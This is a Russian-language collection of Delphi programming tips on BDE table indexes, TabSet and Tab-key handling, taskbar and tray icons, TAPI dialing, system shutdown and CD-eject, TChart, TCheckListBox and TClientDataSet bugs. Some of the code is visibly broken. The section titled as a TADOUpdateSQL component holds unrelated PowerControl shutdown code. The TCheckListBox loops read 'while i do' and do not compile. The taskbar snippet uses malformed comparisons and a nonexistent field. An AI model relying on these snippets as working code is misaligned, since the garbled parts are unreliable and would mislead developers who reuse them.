Перед получением любой информации об индексе (Count или Items) необходимо вызвать метод Update объекта IndexDefs. Это обновляет (или инициализирует) набор индексов для объектов IndexDef.
Примеры
Вот пример простого For-цикла, использующего в качестве счетчика свойство Count объекта IndexDefs, и извлекающего имя каждого индекса (если какой-либо существует) таблицы, представленной компонентом TTable с именем Table1:
procedure TForm1.ListBtnClick(Sender: TObject);
var
i: Integer;
begin
ListBox1.Items.Clear;
with Table1 do
begin
if IndexDefs.Count > 0 then
begin
for i := 0 to IndexDefs.Count - 1 do
ListBox1.Items.Add(IndexDefs.Items[i].Name)
end;
end;
end;
|
Ниже приведен пример, показывающий как можно извлечь информацию об индексах во время выполнения программы с выводом ее в компонент TStringGrid (с именем SG1).
procedure TForm1.FormShow(Sender: TObject);
var
i: Integer;
S: string;
begin
with Table1 do
begin
Open;
{Обновляем объект IndexDefs}
IndexDefs.Update;
if IndexDefs.Count > 0 then
begin
{Устанавливаем колонки и строки сетки для соответствия элементам IndexDefs}
SG1.ColCount := 4;
SG1.RowCount := IndexDefs.Count + 1;
{Устанавливаем заголовки колонок сетки согласно именам свойств TIndexDef}
SG1.Cells[0, 0] := 'Name';
SG1.ColWidths[0] := 200;
SG1.Cells[1, 0] := 'Fields';
SG1.ColWidths[1] := 200;
SG1.Cells[2, 0] := 'Expression';
SG1.ColWidths[2] := 200;
SG1.Cells[3, 0] := 'Options';
SG1.ColWidths[3] := 300;
{Цикл с опросом IndexDefs.Items}
for i := 0 to IndexDefs.Count - 1 do
begin
{Заполняем ячейки сетки в текущей колонке}
SG1.Cells[0, i + 1] := IndexDefs.Items[i].Name;
SG1.Cells[1, i + 1] := IndexDefs.Items[i].Fields;
SG1.Cells[2, i + 1] := IndexDefs.Items[i].Expression;
if ixPrimary in IndexDefs.Items[i].Options then
S := 'ixPrimary, ';
if ixUnique in IndexDefs.Items[i].Options then
S := S + 'ixUnique, ';
if ixDescending in IndexDefs.Items[i].Options then
S := S + 'ixDescending, ';
if ixCaseInsensitive in IndexDefs.Items[i].Options then
S := S + 'ixCaseInsensitive, ';
if ixExpression in IndexDefs.Items[i].Options then
S := S + 'ixExpression, ';
if S > ' ' then
begin
{Отфильтровываем ", "}
System.Delete(S, Length(S) - 1, 2);
SG1.Cells[3, i + 1] := S;
end;
end;
end;
end;
end;
|
Свойство Fields у индексов, основанных более чем на одном поле, содержит имена полей, разделенных точкой с запятой. Индексы, основанные только на одном поле, в свойстве Fields содержат имя только данного поля.
Как сохранить содержимое таблицы в текстовый файл.
Эти небольшие функции анализирую таблицу и записывают её содержимое в TStringList. А затем просто сохраняют в файл.
procedure DatasetRecordToInfFile(aDataset: TDataSet; aStrList: TStrings);
var
i: integer;
begin
for i := 0 to (aDataset.FieldCount-1) do
aStrList.Add(aDataset.Fields[i].FieldName + '=' +
aDataset.Fields[i].AsString);
end;
procedure DatasetToInfFile(aDataset: TDataSet; aStrList: TStrings);
begin
aDataSet.First;
while not aDataSet.EOF do
begin
DatasetRecordToInfFile(aDataset,aStrList);
aDataSet.Next;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
DatasetRecordToInfFile(Table1,Memo1.Lines);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
DatasetToInfFile(Table1,Memo1.Lines);
end;
|
Получить версию таблицы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetTableVersion(Table: TTable): Longint;
var
hCursor: hDBICur;
DT: TBLFullDesc;
begin
Check(DbiOpenTableList(Table.DBHandle, True, False,
PChar(Table.TableName), hCursor));
Check(DbiGetNextRecord(hCursor, dbiNOLOCK, @DT, nil));
Result := DT.tblExt.iRestrVersion;
Check(DbiCloseCursor(hCursor));
end;
Синхронизация TabSet c ListBox.
Что-то аналогичное я делал раньше, тем не менее, вместо Listbox я использовал dbGrid со следующими опциями: [dgAlwaysShowEditor,dgTabs,dgRowSelect,dgAlwaysShowSelection,dgConfirmDelete, dgCancelOnExit]Кроме того, я привел код, который я использовал в ответ на щелчок на закладке, таким образом изменяя запись в dbgrid.
procedure TForm1.TabSet1Change(Sender: TObject; NewTab: Integer; var AllowChange: Boolean); begin Table1.FindNearest([Chr(NewTab+65)]); Table2.FindNearest([Chr(NewTab+65)]); end; |
procedure TForm1.TabSet1Click(Sender: TObject);
var
I: integer;
begin
with TabSet1 do
begin
if TabIndex > -1 then
begin
with ListBox1 do
begin
for I := 0 to Items.Count - 1 do
begin
if Pos(Tabs[TabIndex], Items[I]) = 1 then
begin
ItemIndex := I;
break;
end;
end;
end;
end;
end;
end;
|
Перемещение на страницу TabSet по имени.
Разместите компоненты Tabset(TabSet1) и Edit (Edit1) на вашей форме. Измените свойство компонента Tabset Tabs для размещения в списке строк следующих четерых закладок: Hello World Of DelphiСоздайте обработчик события onChange компонента Edit1 как показано ниже:
procedure TForm1.Edit1Change(Sender: TObject);
var
I: Integer;
begin
for I:= 0 to tabset1.tabs.count-1 do
if edit1.text = tabset1.tabs[I] then
tabset1.tabindex:=I;
end;
|
Теперь при наборе любого из существующих имен в edit1 соотвутствующая закладка будет выведена на передний план.
Как определить, что была нажата клавиша Tab.
| Нажмите какую-нибудь клавишу для выхода или любую другую для продолжения. |
На уровне формы клавиша tab обычно обрабатывается Windows. В примере создается обработчик события CM_Dialog для перехвата Dialog keys.
type
TForm1 = class(TForm)
private
procedure CMDialogKey( var msg: TCMDialogKey );
message CM_DIALOGKEY;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.CMDialogKey(var msg: TCMDialogKey);
begin
if msg.Charcode <> VK_TAB then
inherited;
end;
procedure TForm1.FormKeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
if Key = VK_TAB then
Form1.Caption := 'Tab Key Down!';
end;
|
Имитация Tab.
SelectNext(screen.ActiveControl, True, True); |
Разместите приведенный код в обработчике одного из собитий. SelectNext - защищенный метод TWinControl со следующим прототипом:
procedure SelectNext(CurControl: TWinControl; GoForward, CheckTabStop: Boolean); |
Так как форма также является потомком TWinControl, то она имеет доступ к защищенным методам.
События KeyPress и KeyDown не вызываются для Tab - как определить ее нажатие.
type
TForm1 = class(TForm)
private
procedure CMDialogKey(var msg: TCMDialogKey);
message CM_DIALOGKEY;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.CMDialogKey(var msg: TCMDialogKey);
begin
if msg.Charcode <> VK_TAB then
inherited;
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key:
Word; Shift: TShiftState);
begin
if Key = VK_TAB then
Form1.Caption := 'Tab Key Down!';
end;
|
Tab как Enter в StringGrid.
Данный код переводит ввод на другую колонку. При достижении конца колонок, ввод перемещается на следующую строку. При достижении самого конца сетки, управление перемещается в ее самое начало - естественно, вы можете изменить это поведение, и передавать управление в этом случае другому элементу управления.
procedure TForm1.StringGrid1KeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then
with StringGrid1 do
if Col < ColCount - 1 then {следующая колонка!}
Col := Col + 1
else if Row < RowCount - 1 then
begin {следующая строка!}
Row := Row + 1;
Col := 1;
end
else
begin {Конец сетки! - Снова перемещаемся наверх!}
Row := 1;
Col := 1;
{или вы можете передать управление другому элементу управления}
end;
end;
|
Ошибка TACTIVEFORMX DECLARATION MISSING OR INCORRECT (определение TACTIVEFORMX отсутствует или неправильно).
| "Умный учится на чужих ошибках..." Продукты Майкрософт - век живи, век учись! |
Обычно это происходит при неправильном порядке изменения имени ActiveForm (смотри README.TXT). Если сначала изменяется имя CoClass, а затем делается обновление (refresh), возникает AV. При дальнейшей попытке изменить имя в Инспекторе Объектов вы получите ошибку "TActiveFormX declaration missing or incorrect" (определение TActiveFormX отсутствует или неправильно). Для решения проблемы откройте .DFM-файл и измените строчку:
object ActiveFormX: TActiveFormX |
На.
object MyForm: TMyForm |
Компонент TADOUpdateSQL.
Оформил: DeeCo
Автор: Горкуша Алексей.
Здесь представлены работающие компоненты обновления данных, полученных запросом через TADOQuery, аналогичные компонентам BDE TQuery,TUpdateSQL
Компоненты TADOUpdateQuery, TADOUpdateSQL выполняют в точности те же функции что и компоненты BDE TQuery,TUpdateSQL. Это может способствовать быстрому переводу программ с BDE на ADO. Компоненты работающие (в исходных текстах есть комментарии), но до полной совместимости необходимы доработки, например: отсутствуют события onUpdateRecord, onUpdateError. Предлагаю всем подключится и довести дело до конца.
procedure TForm1.Button1Click(Sender: TObject);
begin
PowerControl1.Action := actCDEject; // Или...
actLogOFF, actShutDown...PowerControl1.Execute;
end;
= = = = = = = = = = = = = = = = = = = = = = = = = Component Code: unit
PowerControl;
interface uses WinTypes, WinProcs, Messages,
SysUtils, Classes, Controls, Forms, Graphics,
MMSystem;
type
TAction =
(actLogOFF, actShutDown, actReBoot, actForce, actPowerOFF,
actForceIfHung, actMonitorOFF, actMonitorON, actCDEject, actCDUnEject);
type
TPowerControl = class(TComponent)
private
FAction: TAction;
procedure
SetAction(Value: TAction);
protected
public
function Execute:
Boolean;
published
property Action:
TAction read FAction write SetAction;
end;
procedure Register;
implementation
procedure register;
begin
RegisterComponents('K2', [TPowerControl]);
end;
procedure TPowerControl.SetAction(Value: TAction);
begin
FAction := Value;
end;
function TPowerControl.Execute: Boolean;
begin
with (Owner as TForm) do
case FAction of
actLogOff:
ExitWindowsEx(EWX_LOGOFF, 1);
actShutDown:
ExitWindowsEx(EWX_SHUTDOWN, 1);
actReBoot:
ExitWindowsEx(EWX_REBOOT, 1);
actForce:
ExitWindowsEx(EWX_FORCE, 1);
actPowerOff:
ExitWindowsEx(EWX_POWEROFF, 1);
actForceIfHung:
ExitWindowsEx(EWX_FORCEIFHUNG, 1);
actMonitorOFF:
SendMessage(Application.Handle,
WM_SYSCOMMAND,
SC_MONITORPOWER, 0);
actMonitorON: SendMessage(Application.Handle, WM_SYSCOMMAND,
SC_MONITORPOWER, -1);
actCDEject: mciSendstring('SET CDAUDIO DOOR OPEN WAIT', nil, 0, Handle);
actCDUnEject: mciSendstring('SET CDAUDIO DOOR CLOSED WAIT', nil, 0,
Handle);
end; {Case}
Result := True;
end;
end.
Скачать ADOComponent.zip (5.7 K)
Как принимать ярлыки при перетягивании их на контрол.
Автор: Nomadic.
TForm1 = class(TForm)
...
private
{ Private declarations }
procedure WMDropFiles(var M: TWMDropFiles); message WM_DROPFILES;
...
end;
var
Form1: TForm1;
implementation
uses
StrUtils, ShellAPI, ComObj, ShlObj, ActiveX;
procedure TForm1.FormCreate(Sender: TObject);
begin
...
DragAcceptFiles(Handle, True);
...
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
...
DragAcceptFiles(Handle, False);
...
end;
procedure TForm1.WMDropFiles(var M: TWMDropFiles);
var
hDrop: Cardinal;
n: Integer;
s: string;
begin
hDrop := M.Drop;
n := DragQueryFile(hDrop, 0, nil, 0);
SetLength(s, n);
DragQueryFile(hDrop, 0, PChar(s), n + 1);
DragFinish(hDrop);
M.Result := 0;
FileOpen(s);
end;
procedure TForm1.FileOpen(FileName: string);
begin
if CompareText(ExtractFileExt(FileName), '.lnk') = 0 then
FileName := ResolveShortcut(Application.Handle, FileName);
DocName := ExtractFileName(FileName);
Caption := Application.Title + ' - ' + DocName;
...
end;
function ResolveShortcut(Wnd: HWND; ShortcutPath: string): string;
var
obj: IUnknown;
isl: IShellLink;
ipf: IPersistFile;
pfd: TWin32FindDataA;
begin
Result := '';
obj := CreateComObject(CLSID_ShellLink);
isl := obj as IShellLink;
ipf := obj as IPersistFile;
ipf.Load(PWChar(WideString(ShortcutPath)), STGM_READ);
with isl do
begin
Resolve(Wnd, SLR_ANY_MATCH);
SetLength(Result, MAX_PATH);
GetPath(PChar(Result), Length(Result), pfd, SLGP_UNCPRIORITY);
Result := PChar(Result);
end;
end;
|
Набрать номер по модему. Голосовой звонок. Использование TAPI.
| Инетчик звонит по телефону. - Позовите пожалуйста Лену к телефону. - Такой здесь нет. "User unknown" , - подумал И-нетчик. |
До слова implementation напишите такой код:
{tapi Errors}
const TAPIERR_CONNECTED = 0;
const TAPIERR_DROPPED = -1;
const TAPIERR_NOREQUESTRECIPIENT = -2;
const TAPIERR_REQUESTQUEUEFULL = -3;
const TAPIERR_INVALDESTADDRESS = -4;
const TAPIERR_INVALWINDOWHANDLE = -5;
const TAPIERR_INVALDEVICECLASS = -6;
const TAPIERR_INVALDEVICEID = -7;
const TAPIERR_DEVICECLASSUNAVAIL = -8;
const TAPIERR_DEVICEIDUNAVAIL = -9;
const TAPIERR_DEVICEINUSE = -10;
const TAPIERR_DESTBUSY = -11;
const TAPIERR_DESTNOANSWER = -12;
const TAPIERR_DESTUNAVAIL = -13;
const TAPIERR_UNKNOWNWINHANDLE = -14;
const TAPIERR_UNKNOWNREQUESTID = -15;
const TAPIERR_REQUESTFAILED = -16;
const TAPIERR_REQUESTCANCELLED = -17;
const TAPIERR_INVALPOINTER = -18;
{tapi size constants}
const TAPIMAXDESTADDRESSSIZE = 80;
const TAPIMAXAPPNAMESIZE = 40;
const TAPIMAXCALLEDPARTYSIZE = 40;
const TAPIMAXCOMMENTSIZE = 80;
const TAPIMAXDEVICECLASSSIZE = 40;
const TAPIMAXDEVICEIDSIZE = 40;
function tapiRequestMakeCallA(DestAddress : PAnsiChar;
AppName : PAnsiChar;
CalledParty : PAnsiChar;
Comment : PAnsiChar) : LongInt;
stdcall; external 'TAPI32.DLL';
function tapiRequestMakeCallW(DestAddress : PWideChar;
AppName : PWideChar;
CalledParty : PWideChar;
Comment : PWideChar) : LongInt;
stdcall; external 'TAPI32.DLL';
function tapiRequestMakeCall(DestAddress : PChar;
AppName : PChar;
CalledParty : PChar;
Comment : PChar) : LongInt;
stdcall; external 'TAPI32.DLL';
|
Нажатие кнопки обработайте следующим образом:
procedure TForm1.Button1Click(Sender: TObject);
var
DestAddress : string;
CalledParty : string;
Comment : string;
begin
DestAddress := '000-00-00'; {phone number}
CalledParty := '___Nikolay';
Comment := 'Calling to ___Nikolay';
tapiRequestMakeCall(pChar(DestAddress),
PChar(Application.Title),
pChar(CalledParty),
PChar(Comment));
end;
|
Сделать кнопку на TaskBar для каждого окна.
У многооконного приложения, как Delphi, обычно только одна кнопка на TaskBar. Если же вам понадобилось, чтобы у каждого окна была своя кнопка, воспользуйтесь функцией SetWindowLong, добавив флаг WS_EX_APPWINDOW.
В модуле первого окна:
uses Unit2, Unit3;
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
Form1.Hide;
Form2.Show;
Form3.Show;
end;
|
В модуле второго окна:
uses Unit3;
{$R *.DFM}
procedure TForm2.FormCreate(Sender: TObject);
begin
SetWindowLong(Handle, GWL_EXSTYLE,
GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_APPWINDOW);
end;
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if Form3.Visible = false then
Application.Terminate;
end;
|
В модуле третьего окна:
uses Unit2;
{$R *.DFM}
procedure TForm3.FormCreate(Sender: TObject);
begin
SetWindowLong(Handle, GWL_EXSTYLE,
GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_APPWINDOW);
end;
procedure TForm3.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if Form2.Visible = false then
Application.Terminate;
end;
|
Определение координат расположения TaskBar.
| Чем мы Винду сильнее любим, тем дольше грузится она. |
Пример позволяет узнать координаты расположения панели задач.
uses .., ShellApi;
var
AppBarData : TAppBarData;
bAlwaysOnTop: Boolean; {Поверх окон}
bAutoHide : boolean; {Авт. убирать с экрана}
ClRect : TRect; {Клиентские области}
Rect : TRect;
Edge : UInt; {Местоположение TaskBar}
procedure DetectTaskBar;
begin
AppBarData.hWnd := FindWindow('Shell_TrayWnd', nil);
AppBarData.cbSize := sizeof(AppBarData);
bAlwaysOnTop := (SHAppBarMessage(ABM_GETSTATE, AppBardata) and ABS_ALWAYSONTOP) < > 0;
bAutoHide := (SHAppBarMessage(ABM_GETSTATE, AppBardata) and ABS_AUTOHIDE) < > 0;
GetClientRect(AppBarData.hWnd, ClRect.rc);
GetWindowRect(AppBarData.hwnd, rect);
if (Rect.top > 0) Then
Edge := ABE_BOTTOM
else
if (Rect.Bottom < Screen.Height) Then
Edge := ABE_TOP
else
if Rect.Right < Screen.Width Then
Edge := ABE_LEFT
else
Edge := ABE_RIGHT;
end;
|
Работа с TaskBar.
unit TaskBar;
interface
uses Windows, ShellAPI;
const
// Дублируем описания из ShellAPI, чтобы не писать его в Uses
// везде, где мы используем этот модуль
NIF_TIP = ShellAPI.NIF_TIP;
NIF_ICON = ShellAPI.NIF_ICON;
function TaskBarAddIcon(
hWindow: THandle; // окно, создавшее значок
ID: Cardinal; // идентификатор значка
ICON: hIcon; // иконка
CallbackMessage: Cardinal; // сообщение, которое будет посылаться окну
Tip: PChar // ToolTip
): Boolean;
function TaskBarModifyIcon(
hWindow: THandle;
ID: Cardinal;
Flags: Cardinal;
ICON: hIcon;
Tip: PChar): Boolean;
function TaskBarDeleteIcon(
hWindow: THandle;
ID: Integer): Boolean;
implementation
function TaskBarAddIcon(
hWindow: THandle;
ID: Cardinal;
ICON: hIcon;
CallbackMessage: Cardinal;
Tip: PChar): Boolean;
var
NID: TNotifyIconData;
begin
FillChar(NID, SizeOf(TNotifyIconData), 0);
with NID do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := hWindow;
uID := ID;
uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
uCallbackMessage := CallbackMessage;
hIcon := Icon;
lstrcpyn(szTip, Tip, SizeOf(szTip));
end;
Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;
function TaskBarModifyIcon(
hWindow: THandle;
ID: Cardinal;
Flags: Cardinal;
ICON: hIcon;
Tip: PChar): Boolean;
var
NID: TNotifyIconData;
begin
FillChar(NID, SizeOf(TNotifyIconData), 0);
with NID do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := hWindow;
uID := ID;
uFlags := Flags;
hIcon := Icon;
lstrcpyn(szTip, Tip, SizeOf(szTip));
end;
Result := Shell_NotifyIcon(NIM_MODIFY, @NID);
end;
function TaskBarDeleteIcon(
hWindow: THandle;
ID: Integer): Boolean;
var
NID: TNotifyIconData;
begin
FillChar(NID, SizeOf(TNotifyIconData), 0);
with NID do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := hWindow;
uID := ID;
end;
Result := Shell_NotifyIcon(NIM_DELETE, @NID);
end;
end.
|
Как разрешить или запретить переключение между задачами.
Автор: http://www.sources.ru (только для ALT+TAB и CTRL+ESC)Это не совсем профессиональный способ, но он работает! Мы просто эмулируем запуск и остановку скринсейвера.
procedure TaskSwitchingStatus(State: Boolean);
var
OldSysParam: LongInt;
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING,
Word(State), @OldSysParam, 0);
end;
Показать контекстное меню на панели задач.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
(*
(Vorbemerkung zu "TNA": damit ist der "Task Notification Area" gemeint.)
Ein Symbol im TNA zu erzeugen -> kein Problem
Ein Popupmenu beim Klick auf dieses Symbol anzuzeigen -> kein Problem
AAABER dieses auch wieder verschwinden zu lassen wenn der Klick irgendwo anders
erfolgt -> eine Katastrophe ... jedenfalls bis mir die Idee kam ... siehe unten
die mit "ACHTUNG!!!" gekennzeichnete Zeile
*)
unit TNA;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, Forms, ExtCtrls,
ShellApi, Menus;
const
k_WM_TASKMSG = WM_APP + 100; //die "100" ist ein frei wahlbarer Wert
type
TForm1 = class(TForm)
TPopupMenu1: TPopupMenu;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDblClick(Sender: TObject);
procedure PopupMenuClick(Sender: TObject);
private
{ Private-Deklarationen }
tTNA: TNotifyIconData;
procedure WMTaskMsg(var Msg: TMessage); message k_WM_TASKMSG;
procedure AppActive;
procedure AppDeactivate;
procedure ShowIcon;
procedure ChangeIcon;
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
{$R TNA.RES} //eine Resource mit 2 Icons oder Bitmaps
procedure TForm1.FormCreate(Sender: TObject);
begin
{la?t die Form schon bei Programmstart verschwinden}
Application.ShowMainForm := False;
{Symbol im TNA anzeigen}
Self.ShowIcon;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
{Symbol aus dem TNA entfernen}
Shell_NotifyIcon(NIM_DELETE, @tTNA);
end;
procedure TForm1.FormDblClick(Sender: TObject);
begin
{lassen wir doch die Form wieder verschwinden ...}
Self.AppDeactivate;
{... und andern das Symbol in dem TNA}
Self.ChangeIcon;
end;
procedure TForm1.PopupMenuClick(Sender: TObject);
begin
case TPopupMenu(Sender).Tag of
{hier steht dann die Auswahl was getan werden soll}
{wenn auf das erschienene Popupmenu geklickt wurde}
end;
end;
procedure TForm1.WMTaskMsg(var Msg: TMessage);
var
rCursor: TPoint;
begin
{wenn die Nachricht aus unserem definierten Bereich kommt dann ...}
if Msg.wParam = tTNA.uID then
begin
{... tu was wenn das Ereignis ein ...}
case Msg.lParam of
{... rechter Mausklick ist oder ...}
WM_RBUTTONDOWN:
begin
{aktuelle Cursoposition holen}
GetCursorPos(rCursor);
{ACHTUNG!!!!! Der folgende Aufruf ist an dieser Stelle ganz wichtig!!!!}
{Erst durch diese API-Funktion wird das Popupmenu dazu bewegt zu verschwinden
wenn ein Klick au?erhalb des Popupmenus erfolgt}
SetForegroundWindow(Self.Handle);
{Also, nicht vergessen!!!}
{Das Popupmenu erscheint an der gewunschten Position in dem TNA}
TPopupMenu1.Popup(rCursor.x, rCursor.y);
end;
{... ein linker doppelter Mausklick ist}
WM_LBUTTONDBLCLK: Self.AppActive;
end;
end;
end;
procedure TForm1.AppActive;
var
hOwner: THandle;
begin
{Form einblenden}
SendMessage(Self.Handle, WM_SYSCOMMAND, SC_RESTORE, 0);
ShowWindow(Self.Handle, SW_SHOW);
SetForegroundWindow(Self.Handle);
{Symbol in der Taskbar einblenden}
hOwner := GetWindow(Self.Handle, GW_OWNER);
SendMessage(hOwner, WM_SYSCOMMAND, SC_RESTORE, 0);
ShowWindow(hOwner, SW_SHOW);
end;
procedure TForm1.AppDeactivate;
begin
{Form ausblenden}
ShowWindow(Self.Handle, SW_HIDE);
{Symbol in der Taskbar ausblenden}
ShowWindow(GetWindow(Self.Handle, GW_OWNER), SW_HIDE);
end;
procedure TForm1.ShowIcon;
begin
tTNA.cbSize := SizeOf(tTNA);
tTNA.Wnd := Self.Handle;
tTNA.uID := 24112000; //frei wahlbarer Wert zur Identifizierung
tTNA.uCallbackMessage := k_WM_TASKMSG;
tTNA.hIcon := LoadIcon(hInstance, 'xxx');
//xxx ist die Bezeichnung eines Icons aus "TNA.res"
StrCopy(tTNA.szTip, 'Hallo'); //Hint
tTNA.uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
{CB Symbol in dem TNA einrichten CE}
Shell_NotifyIcon(NIM_ADD, @tTNA);
end;
procedure TForm1.ChangeIcon;
begin
tTNA.cbSize := SizeOf(tTNA);
tTNA.hIcon := LoadIcon(hInstance, 'yyy');
//yyy ist die Bezeichnung eines weiteren Icons aus "TNA.res"
StrCopy(tTNA.szTip, 'Welt'); //Hint
{CB Symbol im TNA andern CE}
Shell_NotifyIcon(NIM_MODIFY, @tTNA);
end;
end.
Пересборка индексов с помощью TBatchMove.
| Два компа по сети связались, один - другому: - Мой хозяин вчера на одном сайте таких девочек разглядывал - ну C:\ твою формать! - Потише ты, без ненормативной лексики, у меня тут дети в "Тетрис" играют. |
... вы все делаете правильно. BatchMove не может пересобирать индексы. Тем не менее, следующая процедура все же поможет вам сделать это (создать индексы заново). Задайте ей необходимые параметры (.DBF. Name, исходная и целевая таблица, Source и Target) и попробуйте ее в деле!
procedure TForm1.FormCreate(Sender: TObject);
var
x: integer ;
begin
BatchMove1.Execute ;
Source.Open ;
Target.Exclusive := True ;
Target.Open ;
Source.IndexDefs.Update ;
for x := 0 to Source.IndexDefs.Count - 1 do
Target.AddIndex(Source.IndexDefs[x].Name,
Source.IndexDefs[x].Fields,
Source.IndexDefs[x].Options) ;
Source.Close ;
Target.Close ;
end;
|
Работа с TChart.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses Series;
// Creates two series in the chart and assigns random values
// erzeugt zwei Serien im Chart und fullt sie mit zufalligen Werten
procedure TForm1.Button1Click(Sender: TObject);
var
i, j, kum: Integer;
s, t: TLineSeries;
begin
with Chart1 do
begin
// Title of the Chart
Title.Text.Clear;
Title.Text.Add('Ein Titel fur den Chart');
// Create first Series
s := TLineSeries.Create(nil);
// Clear it
s.Clear;
// set the title
s.Title := 'Chart Linie 1';
// determine the chart, this series belongs to
s.ParentChart := Chart1;
// the x-axis shall use date
s.XValues.DateTime := True;
// create the second Series
t := TLineSeries.Create(nil);
t.Clear;
t.Title := s.Title + ' kum';
t.ParentChart := Chart1;
t.XValues.DateTime := True;
// this series uses the right axis
t.VertAxis := aRightAxis;
// now add the random values
for i := 0 to 364 do
begin
j := Random(100);
s.AddXY(Date + i, j);
kum := kum + j;
t.AddXY(Date + i, kum);
end;
end;
end;
Как поместить TCheckBox в TRichEdit.
Для использования следующего примера, необходимо создать новую форму, перетащить на неё TRichEdit (RichEdit1) и создать checkbox (acb) в событии FormCreate().
procedure TForm1.FormCreate(Sender: TObject); var Acb: TCheckBox; begin RichEdit1.Left := 20; Acb := TCheckBox.Create(RichEdit1); Acb.Left := 30; Acb.Top := 30; Acb.Caption := 'Delphi World is COOL !!!'; Acb.Parent := RichEdit1; end; |
TCheckListBox - использование методов LoadFromFile и SaveToFile.
Автор: Bjarne WinklerПример показывает как можно сохранять в файл содержимое TCheckListBox и соответственно восстанавливать из файла ранее сохранённые состояния Чекбоксов.
На самом деле всё просто. Метод SaveToFile просто напросто сохраняет в обычном текстовом виде значения чекбоксов. Но предварительно нам нужно преобразовать состояния чекбоксов в текстовый вид, соответственно “1” или “0”.
Далее задача метода LoadFromFile считать эти значения и преобразовать сначало в числовой вид, а затем в логический (true или false).
procedure TFrameRuleEngine.SaveRules;
var
i: Integer;
begin
i := 0;
while i do
begin
if CheckListBoxRule.Items[i] = '' then
begin
// Если ячейка пустая, то удаляем её
CheckListBoxRule.Items.Delete(i);
end
else
begin
// Добавляем 1 или 0 соответственно checked или not checked
CheckListBoxRule.Items[i] :=
IntToStr(Integer(CheckListBoxRule.Checked[i])) +
CheckListBoxRule.Items[i];
Inc(i);
end;
end;
// Сохраняем весь список
CheckListBoxRule.Items.SaveToFile(ExtractFilePath(Application.ExeName) +
'Rule.Txt');
end;
procedure TFrameRuleEngine.LoadRules;
var
sChecked: string;
i: Integer;
begin
if FileExists(ExtractFilePath(Application.ExeName) + 'Rule.Txt') then
begin
// Считываем файл
CheckListBoxRule.Items.LoadFromFile(ExtractFilePath(Application.ExeName) +
'Rule.Txt');
i := 0;
while i do
begin
if CheckListBoxRule.Items[i] = '' then
begin
// Удаляем пустую ячейку
CheckListBoxRule.Items.Delete(i);
end
else
begin
// получаем состояние чекбокса
sChecked := Copy(CheckListBoxRule.Items[i], 1, 1);
CheckListBoxRule.Items[i] := Copy(CheckListBoxRule.Items[i], 2,
Length(CheckListBoxRule.Items[i]));
// Обновляем свойство Checked
CheckListBoxRule.Checked[i] := Boolean(StrToInt(sChecked));
Inc(i);
end;
end;
end;
end;
|
Информация о TClass.
TObject - "корневой" объект.TClass определен как Class of TObject. Переменная Class НЕ является указателем на экземпляр объекта. Это указатель на *ТИП* объекта Class.
Var Obj1: TWinControl; Class1: Class of TWinControl; |
TMyObj1 = class(TEdit) constructor CreateMagic; virtual; end; TMyObj2 = class(TMyObj1) constructor CreateMagic; override; end; TMyClass = class of TMyObj; var MyObj1: TMyObj1; MyObj2: TMyObj2; function MakeAnother(AClass: TMyClass): TMyObj1; begin Result := AClass.CreateMagic; end; begin MyObj2 := TMyObj2.CreateMagic; MyObj1 := MakeAnother(MyObj2.ClassType); end. |
TClientDataSet. Утечка памяти при загрузке XML.
Автор: Sergei RomanchaНапример, если делаем:
ClientDataSet.LoadFromFile('c:\tmp\1.xml');
ClientDataSet.Close;
|
Пробовал также перед закрытием:
ClientDataSet.EmptyDataSet; ClientDataSet.CancelUpdates; ClientDataSet.LogChanges := False; ClientDataSet.MergeChangeLog; ClientDataSet.FieldDefs.Clear; ClientDataSet.IndexDefs.Clear; ClientDataSet.Params.Clear; ClientDataSet.Aggregates.Clear; ClientDataSet.IndexName := ''; ClientDataSet.IndexFieldNames := ''; |
Следовательно, мы имеем проблему при локальном использовании ClientDataSet с файлом XML. Вероятно, в midas.dll при разборке файла XML распределяется память под временные структуры данных, которая потом не освобождается.
TClientDataSet. Некорректное формирование XML.
Автор: Акуличев Дмитрий Delphi5 build 5.62, midas.dll v5.0.5.63 При использовании SaveToFile('file.xml', dfXML) формируется некорректный текст XML, если набор данных содержит изменения, т.е. при непустом Delta. Пример:Набор данных состоит их двух полей.
IntField: integer StrField: string(20) |
После ввода.
1 aaa 2 bbb 3 ccc 4 ddd |
И сохранения текст XML имеет вид:
<?xml version="1.0" standalone="yes"?> <DATAPACKET Version="2.0"> <METADATA><FIELDS><FIELD attrname="IntField" fieldtype="i4"/> <FIELD attrname="StrField" fieldtype="string" WIDTH="20"/></FIELDS> <PARAMS CHANGE_LOG="1 0 4 2 0 4 3 0 4 4 0 4"/></PARAMS></METADATA> <ROWDATA><ROW RowState="4" IntField="1" StrField="aaa"/> <ROW RowState="4" IntField="2" StrField="bbb"/> <ROW RowState="4" IntField="3" StrField="ccc"/> <ROW RowState="4" IntField="4" StrField="ddd"/> </ROWDATA></DATAPACKET> |
Мораль сей басни такова: ставьте свежие сервиспаки.
